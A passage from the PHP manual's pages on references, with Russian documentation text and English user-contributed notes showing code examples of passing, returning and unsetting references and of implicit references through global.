    static function __callStatic($name, &$arguments) // cannot take arguments by reference
    {
    }
}
?>

My solution ??
<?php
class Reference
{
    function __construct(public mixed &$data)
    {
    }

    /**
     * create
     *
     * @param mixed $data
     * @return self
     */
    static function &create(mixed &$data): self
    {
        if ($data instanceof self) {
            return $data;
        }
        $r = new self($data);
        return $r;
    }

    /**
     * get value
     *
     * @param mixed $reference
     * @return mixed
     */
    static function &get(mixed &$reference): mixed
    {
        if ($reference instanceof self) {
            return $reference->data;
        }
        return $reference;
    }
}

#### Problem solving 1 ####

function test($value)
{
    $value = &Reference::get($value); // values OR reference
    $value = "test-$value";
    return $value;
}

echo test(1), PHP_EOL; // test-1

$val = 2;
echo test(Reference::create($val)), PHP_EOL; // test-2
echo $val, PHP_EOL; // test-2

#### Problem solving 2 ####
class TestCall
{
    static function __callStatic($name, $arguments)
    {
        $value = &Reference::get($arguments[0]);
        $value = "$name-$value";
        return $value;
    }
}

echo TestCall::test(3), PHP_EOL; // test-3

$val = 4;
echo TestCall::test(Reference::create($val)), PHP_EOL; // test-4
echo $val, PHP_EOL; // test-4
yiangforwork at gmail dot com 17-Sep-2020 01:35
function set(&$arr) {
    $test = 10;
    $arr = &$test;
}

$arr = [1, 2, 3];
set( $arr );

var_dump( $arr );    // [1, 2, 3]

If you changed a reference variable with a new `Address`, the variable it originally pointed to won't change.
Jason Steelman 12-Nov-2019 06:13
Within a class, passing array elements by reference which don't exist are added to the array as null. Compared to a normal function, this changes the behavior of the function from throwing an error to creating a new (null) entry in the referenced array with a new key.

<?php

class foo {
    public $arr = ['a' => 'apple', 'b' => 'banana'];
    public function normalFunction($key) {
        return $this->arr[$key];
    }
    public function &referenceReturningFunction($key) {
        return $this->arr[$key];
    }
}

$bar = new foo();
$var = $bar->normalFunction('beer'); //Notice Error. Undefined index beer
$var = &$bar->referenceReturningFunction('beer'); // No error. The value of $bar is now null
var_dump($bar->arr);
/**
[
  "a" => "apple",
  "b" => "banana",
  "beer" => null,
],
*/

?>
This is in no way a "bug" - the framework is performing as designed, but it took careful thought to figure out what was going on. PHP7.3
ccb_bc at hotmail dot com 01-Jul-2019 05:58
<?php
// PHP >= 5.6

// Here we use the 'use' operator to create a variable within the scope of the function. Although it may seem that the newly created variable has something to do with '$x' that is outside the function, we are actually creating a '$x' variable within the function that has nothing to do with the '$x' variable outside the function. We are talking about the same names but different content locations in memory.
$x = 10;
(function() use ($x){
    $x = $x*$x;
    var_dump($x); // 100
})();
var_dump($x); // 10

// Now the magic happens with using the reference (&). Now we are actually accessing the contents of the '$y' variable that is outside the scope of the function. All the actions that we perform with the variable '$y' within the function will be reflected outside the scope of this same function. Remembering this would be an impure function in the functional paradigm, since we are changing the value of a variable by reference.
$y = 10;
(function() use (&$y){
    $y = $y*$y;
    var_dump($y); // 100
})();
var_dump($y); // 100
?>
fladnag at zerezo dot com 18-Aug-2017 09:29
Beware of using references with anonymous function and "use" keyword :

If you have a PHP version between 5.3 and < 5.3.10, "use" keyword break the reference :

<?php
function withRef(&$arg) {
  echo 'withRef - BEGIN - '.$arg."\n"; // 1
  $func = function() use($arg) { /* do nothing, just declare using $arg */ };
  $arg = 2;
  echo 'withRef - END - '.$arg."\n"; // 2
}

$arg = 1;
echo 'withRef - BEFORE - '.$arg."\n"; // 1
withRef($arg);
// in PHP 5.3 < 5.3.10 : display 1
// in PHP 5.3 >= 5.3.10 : display 2
echo 'withRef - AFTER - '.$arg."\n";
?>

A workaround is to use a copy of the reference variable in "use" keyword :
<?php
  ...
  $arg2 = $arg;
  $func = function() use($arg2) { /* do nothing, just declare using $arg2 */ };
nickshanks at nickshanks dot com 26-May-2017 12:49
For anyone wondering, the copy-on-write behaviour just does the Right Thing™ when an array is passed to a function not by-ref which then passes it through to another function by-ref without writing to it. For example:

<?php

function do_sort(array $array) : array {
    usort($array, function ($a, $b) {
        return strnatcasecmp($a['name'], $b['name']);
    });

    return $array;
}

$data = [
    [
        'name' => 'one',
    ], [
        'name' => 'two',
    ], [
        'name' => 'three',
    ], [
        'name' => 'four',
    ],
];

var_dump($data);
do_sort($data); // does not affect value of $data
var_dump($data);
$data = do_sort($data);
var_dump($data);
pallsopp at gmail dot com 19-Dec-2016 08:32
The comment by tnestved at yahoo dot com is incorrect as it is based purely on perception and not architecture. The method passing the object should not care whether it is by ref or by val, and nor should the reader.

If we are talking about readability and perception, then the receiving method needs to show that the object coming in is a reference, not an object instance, otherwise the reader is perplexed why the object is not returned.

Good functional headers alleviate all issues in this case.
mike at eastghost dot com 19-May-2015 07:06
beware unset()  destroys references

$x = 'x';
change( $x );
echo $x; // outputs "x" not "q23"  ---- remove the unset() and output is "q23" not "x"

function change( & $x )
{
    unset( $x );
    $x = 'q23';
    return true;
}
no at spam dot please 05-May-2015 08:36
agreed : this change produces less readable code.

additionally, it breaks many existing perfectly working codes which are not portable anymore and in some cases will require complex modifications

another issue regards the fatal error that is produced : how the hell am i supposed to do if i want to allow the user to use a value that is not even in a variable, or the return or a function call, or use call_user_func... this produces many occasions for a code to even break at run time
tnestved at yahoo dot com 14-Oct-2014 01:54
By removing the ability to include the reference sign on function calls where pass-by-reference is incurred (I.e., function definition uses &), the readability of the code suffers, as one has to look at the function definition to know if the variable being passed is by-ref or not (I.e., potential to be modified).  If both function calls and function definitions require the reference sign (I.e., &), readability is improved, and it also lessens the potential of an inadvertent error in the code itself.  Going full on fatal error in 5.4.0 now forces everyone to have less readable code.  That is, does a function merely use the variable, or potentially modify it...now we have to find the function definition and physically look at it to know, whereas before we would know the intent immediately.
phpnet at holodyn dot com 26-Mar-2014 06:38
The notes indicate that a function variable reference will receive a deprecated warning in the 5.3 series, however when calling the function via call_user_func the operation aborts without fatal error.

This is not a "bug" since it is not likely worth resolving, however should be noted in this documentation.
diabolos @t gmail dot com 27-Jul-2012 02:46
<?php

/*

  This function internally swaps the contents between
  two simple variables using 'passing by reference'.

  Some programming languages have such a swap function
  built in, but PHP seems to lack such a function.  So,
  one was created to fill the need.  It only handles
  simple, single variables, not arrays, but it is
  still a very handy tool to have.

  No value is actually returned by this function, but
  the contents of the indicated variables will be
  exchanged (swapped) after the call.
*/

// ------------------------------------------
// Demo call of the swap(...) function below.

 $a = 123.456;
 $b = 'abcDEF';

 print "<pre>Define:\na = $a\nb = '$b'</pre>";
 swap($a,$b);
 print "<pre>After swap(a,b):\na = '$a'\nb = $b</pre>";

// -------------------------------

   function swap (&$arg1, &$arg2)
{

// Swap contents of indicated variables.
   $w=$arg1;   $arg1=$arg2;   $arg2=$w;
}

?>
fdelizy at unfreeze dot net 12-Aug-2006 09:32
Some have noticed that reference parameters can not be assigned a default value. It's actually wrong, they can be assigned a value as the other variables, but can't have a "default reference value", for instance this code won't compile :

<?php
function use_reference( $someParam, &$param =& $POST )
{
 ...
}
?>

But this one will work :

<?php
function use_reference( $someParam, &$param = null )
?>

So here is a workaround to have a default value for reference parameters :

<?php
$array1 = array ( 'test', 'test2' );

function AddTo( $key, $val, &$array = null)
{
    if ( $array == null )
    {
      $array =& $_POST;
    }

    $array[ $key ] = $val ;
}

AddTo( "indirect test", "test", $array1 );
AddTo( "indirect POST test", "test" );

echo "Array 1 " ;
print_r ( $array1);

echo "_POST ";
print_r( $_POST );

?>

And this scripts output is :

Array 1 Array
(
    [0] => test
    [1] => test2
    [indirect test] => test
)
_POST Array
(
    [indirect POST test] => test
)

Of course that means you can only assign default reference to globals or super globals variables.

Have fun
pillepop2003 at yahoo dot de 13-Feb-2005 08:08
PHP has a strange behavior when passing a part of an array by reference, that does not yet exist.

<?php
    function func(&$a)
    {
        // void();
    }

    $a['one'] =1;
    func($a['two']);
?>

var_dump($a) returns

    array(2) {
        ["one"]=>
        int(1)
        ["two"]=>
        NULL
    }

...which seems to be not intentional!
obscvresovl at NOSPAM dot hotmail dot com 25-Dec-2004 10:51
Just a simple note...

<?php

$num = 1;

function blah(&$var)
{
    $var++;
}

blah($num);

echo $num; #2

?>

<?php

$num = 1;

function blah()
{
    $var =& $GLOBALS["num"];
    $var++;
}

blah();

echo $num; #2

?>

Both codes do the same thing! The second code "explains" how passage of parameters by reference works.
Sergio Santana: ssantana at tlaloc dot imta dot mx 10-Sep-2004 08:25
Sometimes we need functions for building or modifying arrays whose elements are to be references to other variables (arrays or objects for instance). In this example, I wrote two functions 'tst' and 'tst1' that perform this task. Note how the functions are written, and how they are used.

<?php
function tst(&$arr, $r) {
  // The argument '$arr' is declared to be passed by reference,
  // but '$r' is not;
  // however, in the function's body, we use a reference to
  // the '$r' argument

  array_push($arr, &$r);
  // Alternatively, this also could be $arr[] = &$r (in this case)
}

$arr0 = array();          // an empty array
$arr1 = array(1,2,3);   // the array to be referenced in $arr0

// Note how we call the function:
tst($arr0, &$arr1); // We are passing a reference to '$arr1' in the call !

print_r($arr0); // Contains just the reference to $arr1

array_push($arr0, 5); // we add another element to $arr0
array_push($arr1, 18); // we add another element to $arr1 as well

print_r($arr1);
print_r($arr0); // Changes in $arr1 are reflected in $arr0

// -----------------------------------------
// A simpler way to do this:

function tst1(&$arr, &$r) {
  // Both arguments '$arr' and '$r" are declared to be passed by
  // reference,
  // again, in the function's body, we use a reference to
  // the '$r' argument

  array_push($arr, &$r);
  // Alternatively, this also could be $arr[] = &$r (in this case)
}

$arr0 = array();          // an empty array
$arr1 = array(1,2,3);   // the array to be referenced in $arr0

// Note how we call the function:
tst1($arr0, $arr1); // 'tst1' understands '$r' is a reference to '$arr1'

echo "-------- 2nd. alternative ------------ <br>\n";

print_r($arr0); // Contains just the reference to $arr1

array_push($arr0, 5); // we add another element to $arr0
array_push($arr1, 18);

print_r($arr1);
print_r($arr0); // Changes in $arr1 are reflected in $arr0

// This outputs:
// X-Powered-By: PHP/4.1.2
// Content-type: text/html
//
// Array
// (
//     [0] => Array
//         (
//             [0] => 1
//             [1] => 2
//             [2] => 3
//         )
//
// )
// Array
// (
//     [0] => 1
//     [1] => 2
//     [2] => 3
//     [3] => 18
// )
// Array
// (
//     [0] => Array
//         (
//             [0] => 1
//             [1] => 2
//             [2] => 3
//             [3] => 18
//         )
//
//     [1] => 5
// )
// -------- 2nd. alternative ------------
// Array
// (
//     [0] => Array
//         (
//             [0] => 1
//             [1] => 2
//             [2] => 3
//         )
//
// )
// Array
// (
//     [0] => 1
//     [1] => 2
//     [2] => 3
//     [3] => 18
// )
// Array
// (
//     [0] => Array
//         (
//             [0] => 1
//             [1] => 2
//             [2] => 3
//             [3] => 18
//         )
//
//     [1] => 5
// )
?>

In both cases we get the same result.

I hope this is somehow useful

Sergio.


Возврат по ссылке

Возврат по ссылке используется в тех случаях, когда вы хотите использовать функцию для выбора переменной, с которой должна быть связана данная ссылка. Не используйте возврат по ссылке для увеличения производительности. Ядро PHP само занимается оптимизацией. Применяйте возврат по ссылке только имея технические причины на это. Для возврата по ссылке используйте такой синтаксис:

<?php
class foo {
public $value = 42;

public function &getValue() {
return $this->value;
}
}

$obj = new foo;
$myValue = &$obj->getValue(); // $myValue указывает на $obj->value, равное 42.
$obj->value = 2;
echo $myValue; // отобразит новое значение $obj->value, то есть 2.
?>
В этом примере устанавливается свойство объекта, возвращённого функцией getValue, а не его копии, как было бы без использования ссылок.

Замечание: В отличие от передачи параметров по ссылке, & здесь нужно использовать в обоих местах - для указания на то, что вы возвращаете ссылку, а не копию, как обычно, и для указания того, что происходит связывание по ссылке, а не обычное присвоение для $myValue.

Замечание: Если вы возвращаете ссылку из функции, используя следующий синтаксис: return ($this->value);, это не будет работать, так как вы возвращаете по ссылке результат выражения, а не переменную. По ссылке можно возвращать только переменные и ничего больше.

Для использования возвращаемой ссылки вы должны применять присвоение по ссылке:

<?php
function &collector() {
static $collection = array();
return $collection;
}
$collection = &collector();
$collection[] = 'foo';
?>
Для передачи возвращаемой ссылки в другую функцию, принимающую ссылку, вы можете использовать следующий синтаксис:
<?php
function &collector() {
static $collection = array();
return $collection;
}
array_push(collector(), 'foo');
?>

Замечание: Заметим, что array_push(&collector(), 'foo'); не сработает, а приведёт к неисправимой ошибке.

User Contributed Notes

anisgazig at gmail dot com 25-Feb-2022 02:05
<?php

$a = 9;
function &myF(){
    global $a;
    return $a;
}

//before modified the value
$func =& myF();
echo "$a and $func";
echo "\n";

//after modified the value
$func++;
echo "$a and $func";
jpenna 12-Mar-2020 11:41
You can set the value of the variable returned by reference, be it a `static` function variable or a `private` property of an object (which is quite dangerous o.o).

Static function variable:

<?php
    function &func(){
        static $static = 0;
        return $static;
    }

    $var1 =& func();
    echo "var1:", $var1, "\n"; // 0
    func();

    $var1 = 90;
    echo "var1:", $var1, "\n"; // 90
    echo "static:", func(), "\n"; // 90
?>

Private property

<?php
class foo {
    private $value = 1;

    public function &getValue() {
        return $this->value;
    }

    public function setValue($val) {
        $this->value = $val;
    }
}

$obj = new foo;
$myValue = &$obj->getValue(); // $myValue is a reference to $obj->value, which is 1.
echo $obj->getValue();  // 1
echo $myValue; // 1
$obj->setValue(5);
echo $obj->getValue();  // 5
echo $myValue; // 5
$myValue = 1000;
echo $obj->getValue();  // 1000
echo $myValue; // 1000
?>
fabian dot picone at gmail dot com 14-Aug-2018 09:00
This note seems not to apply with PHP 7:

"Note: If you try to return a reference from a function with the syntax: return ($this->value); this will not work as you are attempting to return the result of an expression, and not a variable, by reference. You can only return variables by reference from a function - nothing else. Since PHP 5.1.0, an E_NOTICE error is issued if the code tries to return a dynamic expression or a result of the new operator."

Bug following code works without error output. Same result as i would not have braces around $this-value.

<?php

class foo {
    public $value = 42;

    public function &getValue() {
        return ($this->value);
    }
}

$obj = new foo;
$myValue = &$obj->getValue();
$obj->value = 2;
echo $myValue;
civilization28 at gmail dot com 17-Sep-2014 01:49
Zayfod's example above is useful, but I feel that it needs more explanation. The point that should be made is that a parameter passed in by reference can be changed to reference something else, resulting in later changes to the local variable not affecting the passed in variable:

<?php

function    & func_b ()
{
    $some_var = 2;
    return $some_var;
}

function    func_a (& $param)
{
    # $param is 1 here
    $param = & func_b();    # Here the reference is changed and
                                           # the "&" in "func_a (& $param)"
                                           # is no longer in effect at all.
    # $param is 2 here
    $param++;    # Has no effect on $var.
}

$var = 1;
func_a($var);
# $var is still 1 here!!!    Because the reference was changed.

?>
Anonymous 05-Mar-2014 04:18
I learned a painful lesson working with a class method that would pass by reference.

In short, if you have a method in a class that is initialed with ampersand during declaration, do not use another ampersand when using the method as in &$this->method();

For example
<?php
class A {
    public function &hello(){
        static $a='';
        return $a;
    }
    public function bello(){
        $b=&$this->hello();  // incorrect. Do not use ampersand.
        $b=$this->hello();  // $b is a reference  to the static variable.
}
?>
benjamin dot delespierre at gmail dot com 23-Feb-2011 05:36
Keep in mind that returning by reference doesn't work with __callStatic:

<?php
class Test {
  private static $_inst;
  public static function & __callStatic ($name, $args) {
    if (!isset(static::$_inst)){
      echo "create";
      static::$_inst = (object)"test";
   }
   return static::$_inst;
}

var_dump($a = &Test::abc()); // prints 'create'
$a = null;
var_dump(Test::abc()); // doesn't prints and the instance still exists in Test::$_inst
?>
szymoncofalik at gmail dot com 28-Jan-2011 12:41
Sometimes, you would like to return NULL with a function returning reference, to indicate the end of chain of elements. However this generates E_NOTICE. Here is little tip, how to prevent that:

<?php
class Foo {
   const $nullGuard = NULL;
   // ... some declarations and definitions
   public function &next() {
      // ...
      if (!$end) return $bar;
      else return $this->nullGuard;
   }
}
?>

by doing this you can do smth like this without notices:

<?php
$f = new Foo();
// ...
while (($item = $f->next()) != NULL) {
// ...
}
?>

you may also use global variable:
global $nullGuard;
return $nullGuard;
spidgorny at gmail dot com 19-Mar-2010 06:18
When returning reference to the object member which is instantiated inside the function, the object is destructed upon returning (which is a problem). It's easier to see the code:

<?php

class MemcacheArray {
    public $data;

    ...

    /**
     * Super-clever one line cache reading AND WRITING!
     * Usage $data = &MemcacheArray::getData(__METHOD__);
     * Hopefully PHP will know that $this->data is still used
     * and will call destructor after data changes.
     * Ooops, it's not the case.
     *
     * @return unknown
     */
    function &getData($file, $expire = 3600) {
        $o = new MemcacheArray($file, $expire);
        return $o->data;
    }
?>

Here, destructor is called upon return() and the reference becomes a normal variable.

My solution is to store objects in a pool until the final exit(), but I don't like it. Any other ideas?

<?php
    protected static $instances = array();

    function &getData($file, $expire = 3600) {
        $o = new MemcacheArray($file, $expire);
        self::$instances[$file] = $o; // keep object from destructing too early
        return $o->data;
    }
?>
sandaimespaceman at gmail dot com 02-Nov-2008 08:52
The &b() function returns a reference of $a in the global scope.

<?php
$a = 0;
function &b()
{
    global $a;
    return $a;
}
$c = &b();
$c++;
echo
"
\$a: $a
\$b: $c
"
?>

It outputs:

$a: 1 $b: 1
Spad-XIII 31-Jan-2008 05:01
a little addition to the example of pixel at minikomp dot com here below
<?php

    function &func(){
        static $static = 0;
        $static++;
        return $static;
    }

    $var1 =& func();
    echo "var1:", $var1; // 1
    func();
    func();
    echo "var1:", $var1; // 3
    $var2 = func(); // assignment without the &
    echo "var2:", $var2; // 4
    func();
    func();
    echo "var1:", $var1; // 6
    echo "var2:", $var2; // still 4

?>
pixel at minikomp dot com 30-Dec-2007 04:21
<?php

    function &func(){
        static $static = 0;
        $static++;
        return $static;
    }

    $var =& func();
    echo $var; // 1
    func();
    func();
    func();
    func();
    echo $var; // 5

?>
stanlemon at mac dot com 28-Sep-2007 10:51
I haven't seen anyone note method chaining in PHP5.  When an object is returned by a method in PHP5 it is returned by default as a reference, and the new Zend Engine 2 allows you to chain method calls from those returned objects.  For example consider this code:

<?php

class Foo {

    protected $bar;

    public function __construct() {
        $this->bar = new Bar();

        print "Foo\n";
    }

    public function getBar() {
        return $this->bar;
    }
}

class Bar {

    public function __construct() {
        print "Bar\n";
    }

    public function helloWorld() {
        print "Hello World\n";
    }
}

function test() {
    return new Foo();
}

test()->getBar()->helloWorld();

?>

Notice how we called test() which was not on an object, but returned an instance of Foo, followed by a method on Foo, getBar() which returned an instance of Bar and finally called one of its methods helloWorld().  Those familiar with other interpretive languages (Java to name one) will recognize this functionality.  For whatever reason this change doesn't seem to be documented very well, so hopefully someone will find this helpful.
php at thunder-2000 dot com 02-Feb-2007 02:31
If you want to get a part of an array to manipulate, you can use this function

function &getArrayField(&$array,$path) {
  if (!empty($path)) {
    if (empty($array[$path[0]])) return NULL;
    else return getArrayField($array[$path[0]], array_slice($path, 1));
  } else {
    return $array;
  }
}

Use it like this:

$partArray =& getArrayField($GLOBALS,array("config","modul1"));

You can manipulate $partArray and the changes are also made with $GLOBALS.
rwruck 27-Feb-2006 09:22
The note about using parentheses when returning references is only true if the variable you try to return does not already contain a reference.

<?php
// Will return a reference
function& getref1()
  {
  $ref =& $GLOBALS['somevar'];
  return ($ref);
  }

// Will return a value (and emit a notice)
function& getref2()
  {
  $ref = 42;
  return ($ref);
  }

// Will return a reference
function& getref3()
  {
  static $ref = 42;
  return ($ref);
  }
?>
willem at designhulp dot nl 09-Oct-2005 04:54
There is an important difference between php5 and php4 with references.

Lets say you have a class with a method called 'get_instance' to get a reference to an exsisting class and it's properties.

<?php
class mysql {
    function get_instance(){
        // check if object exsists
        if(empty($_ENV['instances']['mysql'])){
            // no object yet, create an object
            $_ENV['instances']['mysql'] = new mysql;
        }
        // return reference to object
        $ref = &$_ENV['instances']['mysql'];
        return $ref;
    }
}
?>

Now to get the exsisting object you can use
mysql::get_instance();

Though this works in php4 and in php5, but in php4 all data will be lost as if it is a new object while in php5 all properties in the object remain.
obscvresovl at NOSPAM dot hotmail dot com 24-Dec-2004 01:09
An example of returning references:

<?

$var = 1;
$num = NULL;

function &blah()
{
    $var =& $GLOBALS["var"]; # the same as global $var;
    $var++;
    return $var;
}

$num = &blah();

echo $num; # 2

blah();

echo $num; # 3

?>

Note: if you take the & off from the function, the second echo will be 2, because without & the var $num contains its returning value and not its returning reference.
hawcue at yahoo dot com 16-Mar-2004 07:58
Be careful when using tinary operation condition?value1:value2

See the following code:

$a=1;
function &foo()
{
  global $a;
  return isset($a)?$a:null;
}
$b=&foo();
echo $b;   // shows 1
$b=2;
echo $a;   // shows 1 (not 2! because $b got a copy of $a)

To let $b be a reference to $a, use "if..then.." in the function.
contact at infopol dot fr 12-Feb-2004 09:36
A note about returning references embedded in non-reference arrays :

<?
$foo;

function bar () {
    global $foo;
    $return = array();
    $return[] =& $foo;
    return $return;
}

$foo = 1;
$foobar = bar();
$foobar[0] = 2;
echo $foo;
?>

results in "2" because the reference is copied (pretty neat).
zayfod at yahoo dot com 03-Dec-2003 09:23
There is a small exception to the note on this page of the documentation. You do not have to use & to indicate that reference binding should be done when you assign to a value passed by reference the result of a function which returns by reference.

Consider the following two exaples:

<?php

function    & func_b ()
{
    $some_var = 2;
    return $some_var;
}

function    func_a (& $param)
{
    # $param is 1 here
    $param = & func_b();
    # $param is 2 here
}

$var = 1;
func_a($var);
# $var is still 1 here!!!

?>

The second example works as intended:

<?php

function    & func_b ()
{
    $some_var = 2;
    return $some_var;
}

function    func_a (& $param)
{
    # $param is 1 here
    $param = func_b();
    # $param is 2 here
}

$var = 1;
func_a($var);
# $var is 2 here as intended

?>

(Experienced with PHP 4.3.0)


Сброс переменных-ссылок

При сбросе ссылки, просто разрывается связь имени и содержимого переменной. Это не означает, что содержимое переменной будет уничтожено. Например:

<?php
$a = 1;
$b =& $a;
unset($a);
?>
Этот код не сбросит $b, а только $a.

Опять же, можно провести аналогию с вызовом unlink (в Unix).

User Contributed Notes

smcbride at msn dot com 20-Dec-2021 12:00
A little quirk on unset() when using references that may help someone.

If you want to delete the element of a reference to an array, you need to have the reference point to the parent of the key that you want to delete.

<?php
$arr = array('foo' => array('foo_sub1' => 'hey', 'foo_sub2' => 'you'), 'bar' => array('bar_sub1' => 'good', 'bar_sub2' => 'bye'));

$parref =  &$arr['foo'];
$childref = &$parref['foo_sub1'];

unset($childref);                   // this will simply unset the reference to child
unset($parref['foo_sub1']);   // this will actually unset the data in $arr;
$parref['foo_sub1'] = NULL;  // this will set the element to NULL, but not delete it.  If you run it after unset(), it add the key back and set it to NULL

?>

This is nice to use for passing something dynamically to a function by reference without copying the entire array to the function, but you want to do some maintenance on the array.
frowa at foxmail dot com 12-Jun-2021 10:33
it's my way to remember.

<?php

// the var $a is point to the value 1, as a line connect to value 1
$a = 1;

// the var $b point to the value which the var $a point to, as a new line connect to value 1
$b =& $a;

// cut the line of the var $a to value 1,now $a is freedom,it's nothing point to. so the value of $a is null
unset($a);
?>

         $a--------> 1
                           ^
                            |
                            |
                           $b
ojars26 at NOSPAM dot inbox dot lv 03-May-2008 07:41
Simple look how PHP Reference works
<?php
/* Imagine this is memory map
 ______________________________
|pointer | value | variable              |
 -----------------------------------
|   1     |  NULL  |         ---           |
|   2     |  NULL  |         ---           |
|   3     |  NULL  |         ---           |
|   4     |  NULL  |         ---           |
|   5     |  NULL  |         ---           |
------------------------------------
Create some variables   */
$a=10;
$b=20;
$c=array ('one'=>array (1, 2, 3));
/* Look at memory
 _______________________________
|pointer | value |       variable's       |
 -----------------------------------
|   1     |  10     |       $a               |
|   2     |  20     |       $b               |
|   3     |  1       |      $c['one'][0]   |
|   4     |  2       |      $c['one'][1]   |
|   5     |  3       |      $c['one'][2]   |
------------------------------------
do  */
$a=&$c['one'][2];
/* Look at memory
 _______________________________
|pointer | value |       variable's       |
 -----------------------------------
|   1     |  NULL  |       ---              |  //value of  $a is destroyed and pointer is free
|   2     |  20     |       $b               |
|   3     |  1       |      $c['one'][0]   |
|   4     |  2       |      $c['one'][1]   |
|   5     |  3       |  $c['one'][2]  ,$a | // $a is now here
------------------------------------
do  */
$b=&$a;  // or  $b=&$c['one'][2]; result is same as both "$c['one'][2]" and "$a" is at same pointer.
/* Look at memory
 _________________________________
|pointer | value |       variable's           |
 --------------------------------------
|   1     |  NULL  |       ---                  |
|   2     |  NULL  |       ---                  |  //value of  $b is destroyed and pointer is free
|   3     |  1       |      $c['one'][0]       |
|   4     |  2       |      $c['one'][1]       |
|   5     |  3       |$c['one'][2]  ,$a , $b |  // $b is now here
---------------------------------------
next do */
unset($c['one'][2]);
/* Look at memory
 _________________________________
|pointer | value |       variable's           |
 --------------------------------------
|   1     |  NULL  |       ---                  |
|   2     |  NULL  |       ---                  |
|   3     |  1       |      $c['one'][0]       |
|   4     |  2       |      $c['one'][1]       |
|   5     |  3       |      $a , $b              | // $c['one'][2]  is  destroyed not in memory, not in array
---------------------------------------
next do   */
$c['one'][2]=500;    //now it is in array
/* Look at memory
 _________________________________
|pointer | value |       variable's           |
 --------------------------------------
|   1     |  500    |      $c['one'][2]       |  //created it lands on any(next) free pointer in memory
|   2     |  NULL  |       ---                  |
|   3     |  1       |      $c['one'][0]       |
|   4     |  2       |      $c['one'][1]       |
|   5     |  3       |      $a , $b              | //this pointer is in use
---------------------------------------
lets tray to return $c['one'][2] at old pointer an remove reference $a,$b.  */
$c['one'][2]=&$a;
unset($a);
unset($b);
/* look at memory
 _________________________________
|pointer | value |       variable's           |
 --------------------------------------
|   1     |  NULL  |       ---                  |
|   2     |  NULL  |       ---                  |
|   3     |  1       |      $c['one'][0]       |
|   4     |  2       |      $c['one'][1]       |
|   5     |  3       |      $c['one'][2]       | //$c['one'][2] is returned, $a,$b is destroyed
--------------------------------------- ?>
I hope this helps.
sony-santos at bol dot com dot br 05-Feb-2007 03:56
<?php
//if you do:

$a = "hihaha";
$b = &$a;
$c = "eita";
$b = $c;
echo $a; // shows "eita"

$a = "hihaha";
$b = &$a;
$c = "eita";
$b = &$c;
echo $a; // shows "hihaha"

$a = "hihaha";
$b = &$a;
$b = null;
echo $a; // shows nothing (both are set to null)

$a = "hihaha";
$b = &$a;
unset($b);
echo $a; // shows "hihaha"

$a = "hihaha";
$b = &$a;
$c = "eita";
$a = $c;
echo $b; // shows "eita"

$a = "hihaha";
$b = &$a;
$c = "eita";
$a = &$c;
echo $b; // shows "hihaha"

$a = "hihaha";
$b = &$a;
$a = null;
echo $b; // shows nothing (both are set to null)

$a = "hihaha";
$b = &$a;
unset($a);
echo $b; // shows "hihaha"
?>

I tested each case individually on PHP 4.3.10.
lazer_erazer 05-Sep-2006 04:02
Your idea about unsetting all referenced variables at once is right,
just a tiny note that you changed NULL with unset()...
again, unset affects only one name and NULL affects the data,
which is kept by all the three names...

<?php
$a = 1;
$b =& $a;
$b = NULL;
?>

This does also work!

<?php
$a = 1;
$b =& $a;
$c =& $b;
$b = NULL;
?>
donny at semeleer dot nl 13-Jul-2006 07:10
Here's an example of unsetting a reference without losing an ealier set reference

<?php
$foo = 'Bob';              // Assign the value 'Bob' to $foo
$bar = &$foo;              // Reference $foo via $bar.
$bar = "My name is $bar";  // Alter $bar...
echo $bar;
echo $foo;                 // $foo is altered too.
$foo = "I am Frank";       // Alter $foo and $bar because of the reference
echo $bar;                 // output: I am Frank
echo $foo;                 // output: I am Frank

$foobar = &$bar;           // create a new reference between $foobar and $bar
$foobar = "hello $foobar"; // alter $foobar and with that $bar and $foo
echo $foobar;              //output : hello I am Frank
unset($bar);               // unset $bar and destroy the reference
$bar = "dude!";            // assign $bar
/* even though the reference between $bar and $foo is destroyed, and also the
reference between $bar and $foobar is destroyed, there is still a reference
between $foo and $foobar. */
echo $foo;                 // output : hello I am Frank
echo $bar;                 // output : due!
?>
libi 24-Jan-2006 12:20
clerca at inp-net dot eu dot org
"
If you have a lot of references linked to the same contents, maybe it could be useful to do this :
<?php
$a = 1;
$b = & $a;
$c = & $b; // $a, $b, $c reference the same content '1'

$b = NULL; // All variables $a, $b or $c are unset
?>

"

------------------------

NULL will not result in unseting the variables.
Its only change the value to "null" for all the variables.
becouse they all points to the same "part" in the memory.


Неявное использование механизма ссылок

Многие синтаксические конструкции PHP реализованы через механизм ссылок, поэтому всё сказанное выше о ссылочном связывании применимо также и к этим конструкциям. Некоторые конструкции, вроде передающих и возвращающих по ссылке, рассмотрены ранее. Другие конструкции, использующие ссылки:

Ссылки global

Если вы объявляете переменную как global $var, вы фактически создаёте ссылку на глобальную переменную. Это означает то же самое, что и:

<?php
$var =& $GLOBALS["var"];
?>

Это значит, например, что сброс (unset) $var не приведёт к сбросу глобальной переменной.

User Contributed Notes

lutondatta at gmail dot com 06-Jan-2014 03:12
This is very useful in passing large arrays. If you do not pass the array by reference, you are creating another copy of the array in memory.
<?php
//Part 1
        $x = 40;
        $y = $x;
        $z =& $x;
        echo '$x is ' . $x . '<br />'; //Show 40
        echo '$y is ' . $y . '<br />'; //Show 40
        echo '$z is ' . $z . '<br />'; //Show 40
//Part 2
        $x = 50;
        echo '$x is ' . $x . '<br />'; //Show 50
        echo '$y is ' . $y . '<br />'; //Show 40
        echo '$z is ' . $z . '<br />'; //Show 50
?>
In part 2 value of $z will changes according to $x.
CodeWorX.ch 02-Aug-2011 01:38
here is an unconventional (and not very fast) way of detecting references within arrays:

<?php

    function is_array_reference ($arr, $key) {
        $isRef = false;
        ob_start();
        var_dump($arr);
        if (strpos(preg_replace("/[ \n\r]*/i", "", preg_replace("/( ){4,}.*(\n\r)*/i", "", ob_get_contents())), "[" . $key . "]=>&") !== false)
            $isRef = true;
        ob_end_clean();
        return $isRef;
    }

?>
Abimael Rodrguez Coln 26-Apr-2011 11:55
This is one way to check if is a reference
<?php
$a = 1;
$b =& $a;
$c = 2;
$d = 3;
$e = array($a);
function is_reference($var){
    $val = $GLOBALS[$var];
    $tmpArray = array();
    /**
     * Add keys/values without reference
     */
    foreach($GLOBALS as $k => $v){
        if(!is_array($v)){
            $tmpArray[$k] = $v;
        }
    }

    /**
     * Change value of rest variables
     */
    foreach($GLOBALS as $k => $v){
        if($k != 'GLOBALS'
            && $k != '_POST'
            && $k != '_GET'
            && $k != '_COOKIE'
            && $k != '_FILES'
            && $k != $var
            && !is_array($v)
        ){
            usleep(1);
            $GLOBALS[$k] = md5(microtime());
        }
    }

